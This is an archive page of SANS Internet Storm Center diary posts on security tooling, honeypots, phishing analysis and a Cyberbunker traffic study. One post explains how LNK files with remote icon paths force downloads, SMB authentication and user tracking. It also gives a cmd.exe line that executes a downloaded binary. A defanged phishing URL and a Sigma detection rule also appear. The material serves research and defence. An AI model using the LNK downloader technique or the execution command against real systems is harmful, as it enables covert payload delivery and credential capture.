Diaries

Published: 2020-06-30

ISC Snapshot: SpectX IP Hitcount Query

SpectX was the subject of an ISC post on SpectX4DFIR back in late April. Raido from SpectX provides us with a query to count hits from IPs during different time intervals.

This can be one way of detecting possible bots and automated queries. Running the query below will tell you:

  1. On how many different days do we have hits from a particular IP (column ‘days’)?
  2. On how many different days did we see this IP every hour, 24 hours in a row (column ‘full_days’)?
  3. During how many different hours did we get hits from this IP? (column ‘hours’)?

I ran the query below, slightly modified from Raido’s original, against the April 2020 log file for holisticinfosec.io. You can run this on any log file that contains timestamps and IP-addresses, just change the path, pattern and field names accordingly.

LIST('file:/C:/logs/holisticinfosec.io-ssl_log-Apr-2020') 
| parse(pattern:$[/user/patterns/apache/apacheLog.sxp])
| select(hour:timestamp[1 hour], clientIp) 
| group(hour, clientIp) 
| select(day:hour[24 hour], clientIp, hours:count(*))
| group(day, clientIp)
| select(clientIp, days:count(*), full_days:count(hours = 24), hours:sum(hours))
| group(clientIp)
| sort(full_days desc)

The results as seen in Figure 1 provided immediate insights.

Figure 1: SpectX IP hitcount query result

As promised, these IPs as noted in the results per Figure 1 are all making constant calls to my site, all day, every day. Each are calling my index.xml file, some appear to be RSS readers or scrapers, which is fairly routine. Seems like a lot of needless connect and compute cycles for a low traffic, static site such as mine.
Some of these IPs are definitely of ill repute however. 173.212.239.212, originating out of Nuremberg, Bavaria scored a near perfect 99 of 100 for fraudulent behavior and malicious activity based on recent actions according to IPQSFigure 2 bears this out.

Figure 2: IPQS declares badness

This is useful little query to quickly detect possible bots and automated queries. Hopefully you’ve already downloaded SpectX and given a try after a last post. Load it back up and feed a log. If you want a copy of the log as utilized for this post, let me know via socials or email.

Cheers…until next time.

Russ McRee | @holisticinfosec

1 Comments

Published: 2020-06-29

Sysmon and Alternate Data Streams

Sysmon version 11.10, released a couple of days ago, adds support for capturing content of Alternate Data Streams.

When the content of an ADS is text and less than 1 Kb, the content will be logged in the event log.

Here is an example with a download of a file using Microsoft Edge: an ADS named Zone.Identifier will be created for the downloaded file.

With modern browsers, the Zone.Identifier ADS also contains the referrer (ReferrerUrl) and URL for the download (HostUrl), which can be useful for forensics.

I used the following config file for my tests:

<Sysmon schemaversion="4.32">
  <HashAlgorithms>md5,sha256</HashAlgorithms>
  <DnsLookup>False</DnsLookup>
  <ArchiveDirectory>sysmonarchive</ArchiveDirectory>

  <EventFiltering>
    <FileCreateStreamHash onmatch="exclude"/>

    <CreateRemoteThread onmatch="include"/>
    <DnsQuery onmatch="include"/>
    <DriverLoad onmatch="include"/>
    <FileCreate onmatch="include"/>
    <FileCreateTime onmatch="include"/>
    <FileDelete onmatch="include"/>
    <ImageLoad onmatch="include"/>
    <NetworkConnect onmatch="include"/>
    <PipeEvent onmatch="include"/>
    <ProcessAccess onmatch="include"/>
    <ProcessCreate onmatch="include"/>
    <ProcessTerminate onmatch="include"/>
    <RawAccessRead onmatch="include"/>
    <RegistryEvent onmatch="include"/>
    <WmiEvent onmatch="include"/>
  </EventFiltering>
</Sysmon>

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-06-28

tcp-honeypot.py Logstash Parser & Dashboard Update

This is an update for logstash and dashboard published in January for Didier's tcp-honeypot.py honeypot script. The parser has been updated to follow the Elastic Common Schema (ECE) format, parsing more information from the honeypot logs that include revised and additional dashboards.

tcp-honeypot Log Analysis from Discover

tcp-honeypot Dashboard Summary

The file tcp-honeyport parser can be downloaded here and the dashboard JSON here.

[1] https://isc.sans.edu/forums/diary/ELK+Dashboard+and+Logstash+parser+for+tcphoneypot+Logs/25702
[2] https://www.elastic.co/guide/en/ecs/current/ecs-reference.html
[3] https://handlers.sans.edu/gbruneau/elastic.htm

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

2 Comments

Published: 2020-06-27

Video: YARA's BASE64 Strings

In diary entry YARA's BASE64 Strings, I explain the new BASE64 feature in YARA (we're at version 4.0.2 now).

Here is a video showing this new feature:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-06-26

Share the Mic in Cyber

Today, we deviate a bit from our usual content. Instead of featuring content from one of our handlers, we are instead including pointers to some notable blogs and other content from black and brown cybersecurity practitioners.

Please send us pointers to other blogs to add. The order of the listings below does not reflect a ranking. And follow the #sharethemicincyber hashtag on Twitter/Linkedin.

Lavine A Oluoch https://medium.com/@lavineaoluoch

Tyrone E. Wilson (Cover6 Solutions) https://www.cover6solutions.com/cybersecurity-blog/

Dominique West (Security in Color) https://www.securityincolor.com/

Marcus J. Carey https://twitter.com/marcusjcarey

Chris Ross (SpecterOps) https://www.xorrior.com/

Jules Okafor (Revolution Cyber) https://twitter.com/julesmgmt

Deirra J. Footman https://www.ccieby30.com/links

Keirsten Brager https://www.keirstenbrager.tech/

Lodrina Cherne https://twitter.com/hexplates

Quiessence Philips https://www.itsquiessence.com/blog

Amelia Estwick https://twitter.com/drcyberace

Doug Bryant Jr (Intrusion Diversity Systems) https://intrusionds.com/blog/

O'Shea Bowens (Null Hat Security) https://nullhatsecurity.org/blog/

Yolonda Smith https://yolonda.io/blog

Elan Wright https://dfirdiva.com/

 

0 Comments

Published: 2020-06-25

Tech Tuesday Recap / Recordings: Part 2 (Installing the Honeypot) release.

As mentioned during our "Tech Tuesday" session, the session itself was not recorded. Instead, I will be releasing three "stand alone" videos covering the major parts of the workshop.

The videos will be broken up into three parts:

- Introduction. What is DShield and the Internet Storm Center (to be released later today).

- Installing the honeypot. See blow for this video

- Using the DShield / Internet Storm Center Data (to be released tomorrow)

All videos will be available on our YouTube channel

The instructions from the hands-on exercises are available at https://isc.sans.edu/techtuesday .

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

3 Comments

Published: 2020-06-24

Using Shell Links as zero-touch downloaders and to initiate network connections

Probably anyone who has used any modern version of Windows is aware of their file-based shortcuts, also known as LNKs or Shell Link files. Although they were intended as a simple feature to make Windows a bit more user-friendly, over the years, a significant number[1] of vulnerabilities were identified in handling of LNKs. Many of these vulnerabilities lead to remote code execution and one (CVE-2010-2568) was even used in creation of the Stuxnet worm.

It has been known for some time[2] that even on fully patched systems, Windows still handles Shell Link files with externally loaded icons in an interesting (and quite unsafe) way. Specifically, the OS won’t just load external icon files from local drives, but it will try to do so from remote paths specified in a UNC format as well. What is less known is that the OS will try to do the same even for paths specified as URLs. This means that every time Windows tries to load the icon (it will do so when the LNK file is displayed by File Explorer), a remote connection will be initiated by it to a remote machine and if the icon specified by the UNC or URL path exists, it will be downloaded and displayed.

This, by itself, might actually sound like an interesting feature rather than anything else, however since there appear to be nearly no limits on what paths may be specified for the remote icon file, one may cause Windows to do some surprising things by simply browsing to a specially crafted LNK file. Things such as download an arbitrary file to the local drive (there don’t appear to be any checks in place with regards to size or type of the file which Windows is willing to download) or initiate a SMB connection to an arbitrary remote machine. As you can probably imagine, a hypothetical malicious actor might take advantage of this behavior quite easily.

Probably the most straightforward way to misuse it would be to craft a special LNK file, ZIP it and send it out in a phishing e-mail, or upload the LNK to a network file share used by multiple users (if one had access to it). Under such conditions, just browsing to the LNK file might cause the OS of the victim to do something unintended, such as exhaust bandwidth or space on a local drive by downloading a very large file, download a malicious executable, or try to authenticate against a remote server. I’ve mentioned this issue in passing during my SANS@MIC talk last week[3], but thought I’d try to provide a deeper explanation of what causes it and how it may be leveraged in this diary.

The potential for misuse of LNK icon loading lies in a lack of checks when it comes to the contents of ICON_LOCATION StringData section of the Shell Link structure[4].

Due to this lack of checks, it is possible to create a LNK file, which specifies a URL or UNC path as the ICON_LOCATION instead of a local path. It seems that the same may be done with the IconEnvironmentDataBlock structure, but for simplicity’s sake, we will demonstrate the principle using ICON_LOCATION section.

If an arbitrary URL/UNC is specified as the ICON_LOCATION, then, when a folder in which the LNK is located is opened in File Explorer, the OS will attempt to download the file specified by the URL using a HTTP GET request or to download the file by accessing the UNC path over SMB. This will happen without the need for a user to click on anything.

In order to demonstrate this behavior, I've created couple of LNK files, which show this issue in practice and illustrate why this might be dangerous. For the sake of simplicity, most of the files only contain the SHELL_LINK_HEADER and STRING_DATA sections, with ICON_LOCATION being the only STRING_DATA section present.

Before we delve into the example shown above, let’s start slowly, and show that a shortcut, which doesn’t point to any target file, will actually “work” in Windows (i.e. that its icon will be loaded). The following picture shows the internal structure of a LNK file normal.lnk, which doesn’t link to any other file and has its icon set to C:\Windows\SysWOW64\OneDrive.ico.

In this case, the following icon will indeed be loaded from the local path and displayed if the folder, in which is LNK is placed, is browsed to using File Explorer (this is conditional upon the two bytes preceding the path being set to its length as this is required by the ICON_LOCATION format).

As we’ve mentioned, the ICON_LOCATION string may contain a URL/UNC instead of local path, and it is therefore possible to use it to point to a remote server. The following picture demonstrates the internal structure of “external-icon.lnk” file, which has the ICON_LOCATION set to the URL https://untrustednetwork.net/images/un1.ico.

In this case, the following icon will be loaded from the remote server and displayed if the folder in which is LNK is placed is opened in File Explorer.

Since the only limitation when it comes to the ICON_LOCATION string seems to be that it has to end in “.ico” in order for Windows to try to access it, it is possible to craft a LNK, which will cause the OS to make an (almost) arbitrary HTTP GET request. One might use this fact in several ways.

One, which comes to mind, is user tracking through monitoring HTTP requests. To achieve this, the malicious actor would only have to ensure that a LNK file, which loads an icon from server under his control, was placed in a folder, which would be opened in File Explorer on a regular basis (such as the Desktop folder). The following picture shows the internal structure of a file, which demonstrates this principle by having the ICON_LOCATION set to the URL https[:]//untrustednetwork[.]net/loggerscript.php?usertrackingid=1&ending=hit.ico.

If a folder containing such a file was opened (or if the LNK was placed on the Desktop), it would indeed result in Windows sending the relevant HTTP GET request. As the following log from a webserver shows, tracking the public IP address of a specific user would be quite simple in such a scenario.

While on the subject of generating arbitrary request to remote servers, a much more useful way to take advantage of the behavior of Windows in context of an attack or pentest/red team engagement would of course be to use a UNC path instead of a URL and capture hashes/use the requests for SMB relay attack.

The last side effect of the way loading of icons for LNKs is handled worth mentioning is the potential to force Windows to download an arbitrary (i.e. potentially malicious) file to the machine, on which a folder containing a specially crafted LNK is opened.

The following picture shows the internal structure of a file “eicar-downloader.lnk”, which demonstrates this principle by having the ICON_LOCATION set to the URL https[:]//untrustednetwork[.]net/misc/eicar.exe?.ico. As you may have guessed, the file it points to is the EICAR test file[5] with an EXE extension.

The resulting HTTP GET request will lead to the download of EICAR test file to somewhere within the path %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache (on a W10 machine) with the name eicar[1].exe.

This should of course result in a warning from any anti-malware solution installed on the machine. A malicious actor could however use the same technique to make Windows download a real malicious file, which would not be detected by AV (or any other data).

By itself, this technique can’t lead to the execution of the downloaded file, but since the target path to which the file will be downloaded is known beforehand, it is fairly simple to create a LNK, which will cause Windows to download an executable from a remote server and which will also execute it when launched. This means that one may create a very simple downloader without the need to actually download anything, which has some (though admittedly limited) potential for both malicious actors and red teamers.

To show how easy it may be to craft such a LNK file I’ve created one, which causes the Process Explorer to download from a Microsoft server and which, when “launched”, causes the following command (and therefore the downloaded binary) to execute.

C:\Windows\System32\cmd.exe /c "cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B procexp*.exe | cmd.exe /k" 

If you’d like to try this out yourself, you may download the file and some of the other LNKs mentioned above from https://untrustednetwork.net/files/ISC/2020/iconic_lnks.zip. Since there one of them is the “EICAR downloader”, the archive is encrypted with the usual password (i.e. “infected”).

The last thing I believe is worth mentioning is that Microsoft is aware of the issue and from what I understand, there have even been some mitigations for it implemented into Windows 8 and Windows 10. These were however afterwards negated by later updates.

Since it seems that we’ll be left without a patch for this issue for the foreseeable future (and since malicious LNK files are quite common in malspam attachments), one of the reasonable defenses against attackers misusing the techniques mentioned above as well as others, which are dependent on LNKs, would be a good level of security awareness among end users. Including the concept malicious shortcut files in security awareness trainings might therefore not be a bad idea.
On a technical side, one additional thing which might be used to mitigate risks related to malicious shortcuts would be to block or quarantine any e-mails with attached archives, which contain (only) LNK files.

[1] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=LNK
[2] https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/you-down-with-lnk/
[3] https://www.youtube.com/watch?v=Fb2Z3bw-oJ8
[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
[5] http://2016.eicar.org/86-0-Intended-use.html

-----------
Jan Kopriva
@jk0pr
Alef Nula

0 Comments

Published: 2020-06-24

VMware security advisory VMSA-2020-0015

VMware issued a new security advisory yesterday - VMSA-2020-0015[1]. It covers patches (in some cases still pending) for 10 different CVEs with a use-after-free vulnerability in ESXi, Workstation and Fusion being the most important one (CVSSv3 base score of 9.3).

[1] https://www.vmware.com/security/advisories/VMSA-2020-0015.html

0 Comments

Published: 2020-06-22

Comparing Office Documents with WinMerge

Sometimes I have to compare the internals of Office documents (OOXML files, e.g. ZIP container with XML files, …). Since they are ZIP containers, I have to compare the files within. I used to do this with with zipdump.py tool, but recently, I started to use WinMerge because of its graphical user interface.

WinMerge is a free Windows tool to compare files.

It is capable of comparing files stored inside archives: this is exactly what Office documents like .docx, .xlsm, … are.

First I have to change a setting so that WinMerge will recognize archive files like ZIP files based on their content too, and not only their extension.

Then I open the 2 Word documents. The first .docx file is a Word document with the text "This is test 1", the second Word document is an edited copy with the text "This is test 2".

I make sure that all comparisons are visible, and expand all subfolders:

It is not a surprise that document.xml is one of the files that is different: it contains the words I typed into the document and then altered:

WinMerge can also be used to compare XML files:

And then it is easier to see the changes I made:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-06-22

Cyberbunker 2.0: Analysis of the Remnants of a Bullet Proof Hosting Provider

This post was written by SANS.edu graduate student Karim Lalji in cooperation with Johannes Ullrich.

“Cyberbunker” refers to a criminal group that operated a “bulletproof” hosting facility out of an actual military bunker. “Bullet Proof” hosting usually refers to hosting locations in countries with little or corrupt law enforcement, making shutting down criminal activity difficult. Cyberbunker, which is also known as “ZYZtm” and “Calibour”, was a bit different in that it actually operated out of a bulletproof bunker. In September of last year, German police raided this actual Cybebunker and arrested several suspects. At the time, Brian Krebs had a great writeup of the history of Cyberbunker [1].


Figure 1: “Seized” banner placed on the Cyberbunker website

According to the press release by State Central Cybercrime Office of the Attorney General over 2 petabytes of data were seized including servers, mobile phones, hard drives, laptops, external storage and documents. One of the sites, C3B3ROB, seized by the state criminal police listed over 6000 darknet sites linked to fraudulent bitcoin lotteries, darknet marketplaces for narcotics (with millions of Euros in net transactions for Marijuana, Hashish, MDMA, Ecstasy), weapons, counterfeit money, stolen credit cards, murder orders, and child sexual abuse images [2].

Several individuals involved with Cyberbunker are currently undergoing a criminal trial in Germany. To pay for legal expenses, the principles behind Cyberbunker sold the Cyberbunker IP address space to the Dutch company Legaco. Legaco agreed to route the Cyberbunker IP address space to one of our honeypots for two weeks, to allow us to collect some data about any remaining criminal activity trying to reach resources hosted by Cyberbunker.

The IP address space included 185.103.72.0/22, 185.35.136.0/22, and 91.209.12.0/24, which comes down to about 2300 IP addresses. We collected full packets going to the IP address space and set up listeners (mostly web servers) on various ports.

Traffic Summary


Figure 2: Traffic volume to Cyberbunker IP addresses.

Across all IP addresses, we received about 2 MBit/sec of traffic. The traffic did not target all IP addresses at the same rate. Instead, IP addresses used for popular web sites received more traffic.


Figure 3: Countries of origin Cyberbunker traffic.

The "heat map" above shows the geographic distribution of incoming bytes where the source IPs reside in the CyberBunker networks. Moderate amounts of traffic are generated from Iran, various European countries as well as Mexico. Interestingly, the highest amount of traffic was generated from Brazil.

IRC Bot Traffic

Port 80 traffic was directed to a web server. We noted immediately that some of the traffic was not HTTP traffic, but instead IRC traffic. Bots sometimes use port 80, hoping it will evade firewall rules and inspection.

The following image shows several IP addresses accessing a subset of destinations within the CyberBunker scope as logged by Apache. The payload shows an IRC "USER" command along with what appears to be a series of computer names.


Figure 4: IRC Traffic Sample

Close to 2000 unique computer names and over 7000 unique source IPs that follow a similar request pattern are present in the traffic sample collected. When a single "computer name" was isolated with timestamps, the intervals between requests were exactly 1min and 30sec - indicating automation and potential C2.

Phishing

We also identified various phishing sites that are still receiving traffic. These phishing sites attempt to impersonate RBC (Royal Bank of Canada), Apple, Paypal, and others.

The domain apple-serviceauthentication.com.juetagsdeas.org continued to receive hits during the analysis period. Running a DIG command against this domain resulted in an NXDOMAIN response; however URLScan.io indicated that the IP address hosting this site belongs to the malicious network in question under the name "ZYZtm." At the time of the analysis, 54 other domains appear to be in the phishing category are associated with the single IP address of 185.35.138.158. One of the hosts on this IP address is psrepair.3utilities.com which, according to URLScan.io screenshot feature, shows a credential harvesting page for Chase Bank.


Figure 5: Phishing Page (via urlscan.io)

Ad Network

The webserver we configured to receive the traffic destined to the Cyberbunker IPs received traffic looking for banner ads placed with the "getmyads.com" ad network. Like many legitimate businesses, criminals advertise their services on other websites via banner ads and referral links. The site being advertised is often communicated as part of the URL to retrieve the appropriate banner, or to credit the correct advertiser. Strings included in the ad requests suggest that the network was used to advertise adult services, and in some cases, these sites may have been associated with the sexual abuse of children. Distributing material depicting the sexual abuse of children was one of the charges levied against the proprietors of Cyberbunker.

At the time we collected our data, most of the requests for these URLs originated from the "Majestic" search engine.

According to archive.org, getmyads.com was most active from 2016 to 2018, with some updates made late in 2019. It appeared to provide a multi-level marketing style ad network at times, which provided generous referral fees. The last update made in 2019 shows a "Seized Back By the Government of Cyberbunker" banner, likely in response to the German government placing "seized" notices on various Cyberbunker related sites following the raid.


Figure 6: getmyads.com image retrieved from archive.org

Other Traffic

The analysis also uncovered other notable behavior such as encrypted binary HTTP communication tied to known malware signatures and presumed to be C2 communication, backscatter from what appears to be previous DDoS attacks and DNS resolution of sites that host illicit pornography (involving animals). Additional details can be found in the SANS Reading Room paper. [3]

[1] https://krebsonsecurity.com/2019/09/german-cops-raid-cyberbunker-2-0-arrest-7-in-child-porn-dark-web-market-sting/
[2] https://gstko.justiz.rlp.de/de/startseite/detail/news/News/detail/landeszentralstelle-cybercrime-der-generalstaatsanwaltschaft-koblenz-erhebt-anklage-gegen-acht-tatve/
[3] https://www.sans.org/reading-room/whitepapers/threathunting/real-time-honeypot-forensic-investigation-german-organized-crime-network-39640

Karim Lalji | LinkedIn 
Johannes Ullrich | LinkedIn | Twitter

0 Comments

Published: 2020-06-21

ISC Handler Series: SANS@MIC - Maldocs: a bit of blue, a bit of red

This week, I presented at SANSFIRE: SANS@MIC - Maldocs: a bit of blue, a bit of red.

The recording of my presentation is now up on YouTube.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-06-20

Pi Zero HoneyPot

The ISC has had a Pi honeypot(1) for the last couple of years, but I haven't had much time to try it on the Pi zero. Recently, I've had a chance to try it out, and it works great. 

 

Hardware

With the Pi zero($5), it has no network built-in at all. To connect, you need a micro USB wifi adapter or micro USB ethernet. You probably don't want all that extra traffic on your wifi network, so wired is the best option. 

I'm using the pluggable USB2-E100 with a USB to Micro-USB adaptor. I already had it for another reason but is working well. Here is a list of tested USB adapters for the Pi. (2) Most of these cost around $10-$15. There are some cheap options on the form, but I haven't tried them. (3)

The Pi zero uses Micro USB for power. If you have an old phone charger lying around, you can use that. You will need a case, micro SD card (at least 8GB), and ethernet. If you have a friend with a 3d printer and an old microSD card, all you need is the Pi zero and USB ethernet.

 

For the total cost if you have nothing to start with:

Pi zero with power, case, micro sd card ~ $20

USB Ethernet Adapters $1-$15

Total:~$35

 

The Pi3b+ has one ethernet standard USB and lots of other features, but the starter kit is $79 dollars, which is more than double the cost. While you could get the latest Pi4, for the honeypot its way overkill for the price. Also, they run pretty hot and need more cooling, but they do have USB-C for power. 

 

Install

Johannes has an excellent video that walks you through the whole process. (3) The install takes quite a long time to download and get set up on the Pi zero. I believe it took around an hour or so. Once it's done, performance has been excellent.

But in short:

1. Download Pi Raspberry Pi OS (32-bit) Lite

2. Burn Image to MicroSD on Windows with Etcher (4)

3. Make config changes

4. Boot Pi and SSH

5. Change default password

6. Run screen or BYOBU

7. Install honeypot

8. Setup ubuntu auto patching

 

Additional Tweaks for the Pie Zero

Once you get everything set up, you will want to remove the service random sound. This service is supposed to generate entropy but pegs the pi zero CPU at 100 percent.

$sudo apt-get remove randomsound

 

For performance monitoring over time, use TTYload. It's a great little tool to make sure your pi is doing ok once you start sending traffic to it. 

#apt-get install ttyload

 

Logs

Most of the data is stored in the /srv folder and here are the location of the key logs.

 

/srv/www/DB/webserver.sqlite

/srv/cowrie/lvar/log/cowrie/cowrie.log

/var/log/dshield.log


I wrote a simple bash script(6) that you can cron to send out daily emails of logs for yourself to monitor. These logs are automatically sent to the ISC Storm Center, but you usually do not have visibility from the website for the web application traffic your honeypot gets. 

 

For a small investment, it's a great project to set up and play with.

 

Johannes is going to talk on Tuesday about the honeypot (7) check it out!


 

(1)https://isc.sans.edu/honeypot.html

(2)https://elinux.org/RPi_USB_Ethernet_adapters

(3)https://raspberrypi.stackexchange.com/questions/38622/whats-the-cheapest-way-to-get-network-connectivity-to-the-pi-zero

(4)https://www.youtube.com/watch?v=fMqhoNnyvmE&t=1s

(5)https://www.balena.io/etcher/

(6)https://github.com/tcw3bb/ISC_Posts/blob/master/honeypot-daily.sh

(7)https://www.sans.org/webcasts/tech-tuesday-workshop-collaborating-scale-contribute-profit-internet-storm-center-115935


 

--

Tom Webb

@twsecblog

1 Comments

Published: 2020-06-19

Sigma rules! The generic signature format for SIEM systems.

What Snort is to network traffic, and YARA to files, is Sigma to logs. By creating and using Sigma rules you’ll have generic rules which can be shared and run against different targets (e.g. SIEMs).

Sigma solves the issue of everyone working on their own analysis, searches and dashboards of log data they’ve collected by having a standardized format to create rules to be reused and shared with others, supporting many different target systems. Many targets are supported currently: Splunk (plainqueries and dashboards),  ElasticSearch Query Strings,  ElasticSearch Query DSL, Kibana, Elastic X-Pack Watcher, Logpoint, Microsoft Defender Advanced Threat Protection (MDATP), Azure Sentinel / Azure Log Analytics, Sumologic, ArcSight, QRadar, Qualys, RSA NetWitness, PowerShell, Grep with Perl-compatible regular expression support, LimaCharlie, ee-outliers.

Some of the use cases for Sigma are:

  • Describe the detection methods and make it available.
  • Invest in generating rules for Sigma and use on many different (e.g. SIEM) systems.
  • Share the signature as an appendix of your analysis.
  • Use Sigma to share the signature with other threat intel communities.

A Sigma rule is a YAML file, following the specification which be found here, having the following sections:

  • metadata (id, tags, author, title, references, level)
  • status (experimental or normal), the status is being used to filter on experimental or normal rules.
  • the log source, which defines the source of the log data
  • detections (one or more selectors, timeframe and condition)
  • optional tags
  • false positives, describing scenarios where false positives could be triggered as help for the analyst

The detection is the most important part of the rule, defining when the rule will be triggered. It consists of one or more selectors, each selector can be a map (all joined with a logical function and) or list (logical function or) and be nested. The map or list will contain the column to test (using wildcards for fields) and a value, with optional transformations (contains, all, base64, startswith, endswith, etc.) or type modifiers (regular expression). An optional timeframe will define the period for the selector to be aggregated on. The condition will tie everything together, evaluating the selectors using an expression that is usually complex. Within the condition, logical functions like and/or, not, one of, any of and aggregations expressions (count, min, max, avg and sum) on selectors (which can use wildcards) can be used.

As an example, this rule detects the removal of immutable file attributes on linux systems logged by auditd. The selection will evaluate logs where the field type equals ’EXECVE’, and a0 contains “chattr” and a1 contains “-i”. (a0 and a1 are both arguments to execv). If the condition (in this case, if selection evaluates to true) applies, the rule will trigger.

title: Remove Immutable File Attribute
id: a5b977d6-8a81-4475-91b9-49dbfcd941f7
description: Detects removing immutable file attribute
status: experimental
tags:
    - attack.defense_evasion
    - attack.t1222
author: Jakob Weinzettl, oscd.community
date: 2019/09/23
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'EXECVE'
        a0|contains: 'chattr'
        a1|contains: '-i'
    condition: selection
falsepositives:
    - Administrator interacting with immutable files (for instance backups)
level: medium
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1222/T1222.yaml

 

Selections and conditions can become very sophisticated, allowing fine grained control and evaluations. A more complex detection is given below, where it will trigger if the sum of the question lengths, grouped by src_ip within 1m meeting the “selection” criteria (on each dns query).

detection:
    selection:
        query: '*'
    timeframe: 1m
    condition: selection | sum(question_length) by src_ip > 300000

 

The Sigma repository contains besides many rules, also sigmac, the sigma compiler. The sigma compiler compiles the Sigma rule to a different target system, e.g. Elasticsearch. If you want to play around with Sigma, it will be easiest to setup a docker container. As an example, we will use sigmac to compile the rule to an elasticsearch query, with as configuration of elk-windows resulting into the following query:

$ git clone https://github.com/Neo23x0/sigma
$ docker run -v $(pwd):/work python:3
$ cd /work/sigma
$ python tools/setup.py install
$ tools/sigmac -I -t es-qs -c elk-windows ./rule.yaml
(type:"EXECVE" AND a0.keyword:*chattr* AND a1.keyword:*\-i*)

 

Another way to test and play with Sigma and the results it transforms into, is by using the website https://uncoder.io/ (powered by SOC Prime). Uncoder.io can convert Sigma (and other rules and queries) to many different formats, allowing easy experimenting.
 

References:

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec
PGP Key

 

0 Comments

Published: 2020-06-18

Broken phishing accidentally exploiting Outlook zero-day

When we think of zero-days, what comes to mind are usually RCEs or other high-impact vulnerabilities. Zero-days, however, come in all shapes and sizes and many of them are low impact, as is the vulnerability we’re going to discuss today. What is interesting about it, apart from it allowing a sender of an e-mail to include/change a link in an e-mail when it is forwarded by Outlook, is that I noticed it being exploited in a low-quality phishing e-mail by what appears to be a complete accident.

The e-mail in question was fairly simple – it used a Covid-19-related lure and when “View details” was clicked, it would direct the victim to a phishing site. All of the text at the bottom of the message was filled with links that lead to the same site. Or was it?

Originally, a colleague of mine @MartinHubinek simply forwarded me the message and this was really the case – the “View details” button and the entire text area following it were links, which pointed to the following phishing URL.

hxxp[:]//institutobrasilisrael[.]daylab[.]com[.]br/partials/terryscott12389.php?t=VHVlLCAxNCBBcHIgMjAyMCAxNzoxOTo0MSArMDMwMA==

I commented on the laziness of this approach on the part of the attacker, to which my colleague replied that although it is weird, the original e-mail actually looked different, with only some parts of the footer text being links, which pointed to Google and not the phishing site. After I looked at the original message, I had to admit that he wasn’t joking.

I forwarded the original message to myself again and the resulting e-mail really looked different – the entire footer text became filled with links to the same phishing URL.

After that, I started experimenting with forwarding only parts the original HTML content of the phishing message to determine what was causing this behavior and the reason for it soon became clear. It turns out that Outlook (at least in versions 2016 and Outlook for Office 365 – I would expect other versions do the same, but I didn’t have the opportunity to check them) will incorrectly re-write any HREF, which contains an empty IMG tag, or an IMG tag with empty SRC attribute. Basically, Outlook will modify the HTML code in such a way that content, which follows the original link, will be enclosed in a <A HREF> tag which points to the same URL as the original A tag.

In the case of our phishing message, the strange behavior was caused by the fact that there was an IMG tag with empty SRC attribute within the A tag, which specified the link for the “View details” button.

This behavior of Outlook is quite unfortunate, since it basically allows for sender of a HTML-formatted e-mail to cause new links to appear/existing links to change in the message when it is forwarded by the original recipient. When I noticed the vulnerability, I informed Microsoft about it, but since it is only a low-severity issue, they decided not to patch it.

Although, based on its contents, it is almost certain that the authors of the original phishing message didn’t know about this behavior and their creation “exploited it” only by accident, it doesn’t mean that a malicious actor might not do so intentionally. For example, one can easily imagine a scenario, when an attacker or a red teamer might want to send an e-mail with a content similar to the following one.

If we open such an e-mail, the link would point to the Internet Storm Center website, so why shouldn’t we forward the e-mail? The ISC is indeed a great infosec resource, after all… :)

If we forward the message, however, the link will change to point to a (literal) untrusted network. Although I hope that it may be considered a good infosec resource as well, it definitely wasn’t the place to which we intended to direct our friends when we forwarded the e-mail.

If you want, you may try this out yourself by downloading an example EML file I prepared from https://untrustednetwork.net/files/ISC/2020/example.eml and forwarding it to your own address.

Will this technique became the “next big thing” in phishing because the underlying vulnerability is not patched? Hardly. Is it good to know about it? Definitely – it was, after all, already used in the wild, even though it was only by accident...

-----------
Jan Kopriva
@jk0pr
Alef Nula

2 Comments

Published: 2020-06-16

Odd "Protest" Spam (Scam?) Targeting Atlanta Police Foundation

After the killing of Rayshard Brooks by Atlanta police this week, a lot of protests and anger was directed at the Atlanta police department and its officers. Yesterday, we received an odd spam message, that may be targeting the Atlanta Police Foundation. The Atlanta Police Foundation is a not-for-profit organization collecting funding for various causes related to the Atlanta police. The Atlanta Police Foundation has been quoted in several news reports regarding the low morale of officers and officer resignation. It is no surprise that it is within scope for protests online.

The initial message was a very clumsy piece of spam, that at first looked like an extortion scam or maybe an attempt at phishing

The poor grammar, and the fact that police is unlikely going to email you a warning if you shot someone at a protest, should make it obvious that this is a fake. The address of the "Police Foundation" (which is called the "Atlanta Police Foundation") is correct, even though the addition of "United States" may indicate that this email was not created by someone in the US.

Click on the link will lead (most of the time) to another similar message:

At this point, I expected a good old word document and a macro to get the latest version of some type of ransomware or trojan. No... instead, I got redirected to a donation page.

Ok... it must be a fake donation page. They are after money! Wrong again... this page is a legit donation page for the Atlanta Police Foundation.

So why would anybody do this? I very much assume that the initial email was not sent by the Atlanta Police to raise funds to survive the much talked about defunding of police. There are a few theories I have as to what could be happening here:

- Maybe the browser or IP I used was on some kind of blocklist that prevented me from seeing the actual scam. Some attackers have gotten pretty good at blocking researchers. I doubt this is the case here as nothing suggests that this attack is overly sophisticated (but then again: maybe they want you to think they are not sophisticated). I accessed the page from various IPs via VPNs. The page uses some simple obfuscated JavaScript that appears to detect fake user-agents to possibly detect an analyst. But the two URLs it directs to appear to be identical (it is possible that similar tests are performed server-side).

